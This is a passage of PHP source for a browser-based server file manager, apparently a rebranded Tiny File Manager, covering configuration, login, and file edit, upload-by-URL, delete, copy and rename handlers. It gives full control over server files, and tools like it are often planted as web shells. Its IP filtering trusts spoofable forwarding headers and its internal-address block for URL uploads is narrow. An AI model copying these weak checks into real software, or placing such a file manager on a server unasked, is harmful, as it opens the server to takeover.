$path_display_mode = 'full';

// Allowed file extensions for create and rename files
// e.g. 'txt,html,css,js'
$allowed_file_extensions = '';

// Allowed file extensions for upload files
// e.g. 'gif,png,jpg,html,txt'
$allowed_upload_extensions = '';

// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = '';

// Files and folders to excluded from listing
// e.g. array('myfile.html', 'personal-folder', '*.php', '/path/to/folder', ...)
$exclude_items = array();

// Online office Docs Viewer
// Available rules are 'google', 'microsoft' or false
// Google => View documents using Google Docs Viewer
// Microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = 'google';

// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;

// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB)

// chunk size used for upload
// eg. decrease to 1MB if nginx reports problem 413 entity too large
$upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB)

// Possible rules are 'OFF', 'AND' or 'OR'
// OFF => Don't check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = 'OFF';

// Should users be notified of their block?
$ip_silent = true;

// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
    '127.0.0.1',    // local ipv4
    '::1'           // local ipv6
);

// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
    '0.0.0.0',      // non-routable meta ipv4
    '::'            // non-routable meta ipv6
);

// if User has the external config file, try to use it to override the default config above [config.php]
// sample config - https://tinyfilemanager.github.io/config-sample.txt
$config_file = __DIR__ . '/config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

// External CDN resources that can be used in the HTML (replace for GDPR compliance)
$external = array(
    'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH" crossorigin="anonymous">',
    'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
    'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
    'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/styles/' . $highlightjs_style . '.min.css">',
    'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.32.2/ace.js"></script>',
    'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz" crossorigin="anonymous"></script>',
    'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
    'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
    'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
    'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/highlight.min.js"></script>',
    'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
    'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);

// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---

// max upload file size
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);

// upload chunk size
define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);

// private key and session name to store to the session
if (!defined('FM_SESSION_ID')) {
    define('FM_SESSION_ID', 'filemanager');
}

// Configuration
$cfg = new FM_Config();

// Default language
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

// Hide Permissions and Owner cols in file-listing
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';

define('FM_THEME', $theme);

//available languages
$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

// if fm included
if (defined('FM_EMBED')) {
    $use_auth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('nocache'); // Prevent logout issue after page was cached
    session_name(FM_SESSION_ID);
    function session_error_handling_function($code, $msg, $file, $line)
    {
        // Permission denied for default session, try to create a new one
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

//Generating CSRF Token
if (empty($_SESSION['token'])) {
    if (function_exists('random_bytes')) {
        $_SESSION['token'] = bin2hex(random_bytes(32));
    } else {
        $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
    }
}

if (empty($auth_users)) {
    $use_auth = false;
}

$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
    || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';

// update $root_url based on user specific directories
if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url . $wd . DIRECTORY_SEPARATOR . $directories_users[$_SESSION[FM_SESSION_ID]['logged']];
}
// clean $root_url
$root_url = fm_clean_path($root_url);

// abs path for site
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[FM_SESSION_ID]['logged']);
    unset($_SESSION['token']);
    fm_redirect(FM_SELF_URL);
}

// Validate connection IP
if ($ip_ruleset != 'OFF') {
    function getClientIP()
    {
        if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
            return  $_SERVER["HTTP_CF_CONNECTING_IP"];
        } else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
            return  $_SERVER["HTTP_X_FORWARDED_FOR"];
        } else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
            return $_SERVER['REMOTE_ADDR'];
        } else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
            return $_SERVER['HTTP_CLIENT_IP'];
        }
        return '';
    }

    $clientIp = getClientIP();
    $proceed = false;
    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if ($ip_ruleset == 'AND') {
        if ($whitelisted == true && $blacklisted == false) {
            $proceed = true;
        }
    } else
    if ($ip_ruleset == 'OR') {
        if ($whitelisted == true || $blacklisted == false) {
            $proceed = true;
        }
    }

    if ($proceed == false) {
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if ($ip_silent == false) {
            fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
            fm_show_header_login();
            fm_show_message();
        }
        exit();
    }
}

// Checking if the user is logged in or not. If not, it will show the login form.
if ($use_auth) {
    if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
        // Logged
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
        // Logging In
        sleep(1);
        if (function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) && verifyToken($_POST['token'])) {
                $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL);
            } else {
                unset($_SESSION[FM_SESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[FM_SESSION_ID]['logged']);
        fm_show_header_login();
?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center align-content-center h-100vh">
                    <div class="card-wrapper">
                        <div class="card fat" data-bs-theme="<?php echo FM_THEME; ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="mb-3">
                                        <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="H3K Tiny File Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z" />
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z" />
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z" />
                                                </g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="mb-3">
                                        <label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="mb-3">
                                        <label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="mb-3">
                                        <?php fm_show_message(); ?>
                                    </div>
                                    <input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
                                    <div class="mb-3">
                                        <button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="https://tinyfilemanager.github.io/" target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

    <?php
        fm_show_footer_login();
        exit;
    }
}

// update root path
if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path;
}

// clean and check $root_path
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>" . lng('Root path') . " \"{$root_path}\" " . lng('not found!') . " </h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');

// always use ?p=
if (!isset($_GET['p']) && empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);

// for ajax request - save
$input = file_get_contents('php://input');
$_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

// instead globals vars
define('FM_PATH', $p);
define('FM_USE_AUTH', $use_auth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);

/*************************** ACTIONS ***************************/

// Handle all AJAX Request
if ((isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']]) || !FM_USE_AUTH) && isset($_POST['ajax'], $_POST['token']) && !FM_READONLY) {
    if (!verifyToken($_POST['token'])) {
        header('HTTP/1.0 401 Unauthorized');
        die("Invalid Token.");
    }

    //search : get list of files from the current folder
    if (isset($_POST['type']) && $_POST['type'] == "search") {
        $dir = $_POST['path'] == "." ? '' : $_POST['path'];
        $response = scan(fm_clean_path($dir), $_POST['content']);
        echo json_encode($response);
        exit();
    }

    // save editor file
    if (isset($_POST['type']) && $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg(lng('File not found'), 'error');
            $FM_PATH = FM_PATH;
            fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
        header('X-XSS-Protection:0');
        $file_path = $path . '/' . $file;

        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false) {
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    // backup files
    if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) {
        $fileName = fm_clean_path($_POST['file']);
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) && $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false;
        $te3 = $_POST['js-theme-3'];

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['theme'] != $te3) {
            $cfg->data['theme'] = $te3;
            $theme = $te3;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) && $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if (isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

        function event_callback($message)
        {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path()
        {
            global $path, $fileinfo, $temp_file;
            return $path . "/" . basename($fileinfo->name);
        }

        $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;

        //prevent 127.* domain and known ports
        $domain = parse_url($url, PHP_URL_HOST);
        $port = parse_url($url, PHP_URL_PORT);
        $knownPorts = [22, 23, 25, 3306];

        if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
            $err = array("message" => "URL is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

        $err = false;

        if (!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, strtok(get_file_path(), '?'));
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }
    exit();
}

// Delete file / folder
if (isset($_GET['del'], $_POST['token']) && !FM_READONLY) {
    $del = str_replace('/', '', fm_clean_path($_GET['del']));
    if ($del != '' && $del != '..' && $del != '.' && verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? lng('Folder') . ' <b>%s</b> ' . lng('Deleted') : lng('File') . ' <b>%s</b> ' . lng('Deleted');
            fm_set_msg(sprintf($msg, fm_enc($del)));
        } else {
            $msg = $is_dir ? lng('Folder') . ' <b>%s</b> ' . lng('not deleted') : lng('File') . ' <b>%s</b> ' . lng('not deleted');
            fm_set_msg(sprintf($msg, fm_enc($del)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid file or folder name'), 'error');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) && !FM_READONLY) {
    $type = urldecode($_POST['newfile']);
    $new = str_replace('/', '', fm_clean_path(strip_tags($_POST['newfilename'])));
    if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.' && verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($type == "file") {
            if (!file_exists($path . '/' . $new)) {
                if (fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File') . ' <b>%s</b> ' . lng('Created'), fm_enc($new)));
                } else {
                    fm_set_msg(lng('File extension is not allowed'), 'error');
                }
            } else {
                fm_set_msg(sprintf(lng('File') . ' <b>%s</b> ' . lng('already exists'), fm_enc($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('already exists'), fm_enc($new)), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Folder') . ' <b>%s</b> ' . lng('not created'), fm_enc($new)), 'error');
            }
        }
    } else {
        fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) {
    // from
    $copy = urldecode($_GET['copy']);
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg(lng('Source path not defined'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    // abs path from
    $from = FM_ROOT_PATH . '/' . $copy;
    // abs path to
    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);
    // move?
    $move = isset($_GET['move']);
    $move = fm_clean_path(urldecode($move));
    // copy/move/duplicate
    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) { // Move and to != from so just perform move
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(lng('Moved from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(lng('File or folder with this path already exists'), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Error while moving from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        } else { // Not move and to != from so copy with original name
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(lng('Copied from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)));
            } else {
                fm_set_msg(sprintf(lng('Error while copying from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error');
            }
        }
    } else {
        if (!$move) { //Not move and to = from so duplicate
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if (!is_dir($from)) {
                $extension_suffix = '.' . $fn_parts['extension'];
            }
            //Create new name for duplicate
            $fn_duplicate = $fn_parts['dirname'] . '/' . $fn_parts['filename'] . '-' . date('YmdHis') . $extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            // Check if a file with the duplicate name already exists, if so, make new name (edge case...)
            while (file_exists($fn_duplicate) & $loop_count < $max_loop) {
                $fn_parts = pathinfo($fn_duplicate);
                $fn_duplicate = $fn_parts['dirname'] . '/' . $fn_parts['filename'] . '-copy' . $extension_suffix;
                $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error');
            }
        } else {
            fm_set_msg(lng('Paths must be not equal'), 'alert');
        }
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Mass copy files/ folders
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) && !FM_READONLY) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng('Invalid Token.'), 'error');
    }

    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(lng('Paths must be not equal'), 'alert');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            $FM_PATH = FM_PATH;
            fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $f = fm_clean_path($f);
                // abs path from
                $from = $path . '/' . $f;
                // abs path to
                $dest = $copy_to_path . '/' . $f;
                // do
                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) && !FM_READONLY) {
    if (!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }
    // old name
    $old = urldecode($_POST['rename_from']);
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = urldecode($_POST['rename_to']);
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) && $old != '' && $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf(lng('Renamed from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($old), fm_enc($new)));
        } else {
            fm_set_msg(sprintf(lng('Error while renaming from') . ' <b>%s</b> ' . lng('to') . ' <b>%s</b>', fm_enc($old), fm_enc($new)), 'error');
        }
    } else {
